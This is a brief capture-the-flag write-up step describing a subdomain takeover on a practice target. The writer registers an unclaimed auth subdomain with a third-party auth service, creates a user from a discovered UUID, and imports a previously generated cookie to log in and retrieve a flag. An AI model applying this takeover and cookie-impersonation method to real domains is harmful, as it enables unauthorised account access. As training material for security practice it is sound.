Subdomain Takeover

We previously found http://nqorl3vm.auth.vulnforum.co.uk/auth which tells us "Invalid Domain" when visiting the page. With the infos we gathered in our previous step it's a good idea to try to register that domain :)

Visit: http://vulnauth.co.uk/ and create an account

Auth Domain: nqorl3vm.auth.vulnforum.co.uk
E-Mail Address: toby@toby.com
Password: toby123

Visit: http://nqorl3vm.auth.vulnforum.co.uk (You should be greeted with a login page) Create a new User using the UUID we've discovered previously (1ac9c036aaf12a755084dc6a326ed7f5)

Username: toby

Unfortunately we aren't able to login on the webpage itself due to the "method=local" that is hardcoded. Lets use the cookie we've generated earlier and import it in our browser

Great! We're logged in as toby and find another flag [^FLAG^3B1A170C3033B788FEB1B1A4E45D62CD^FLAG^]
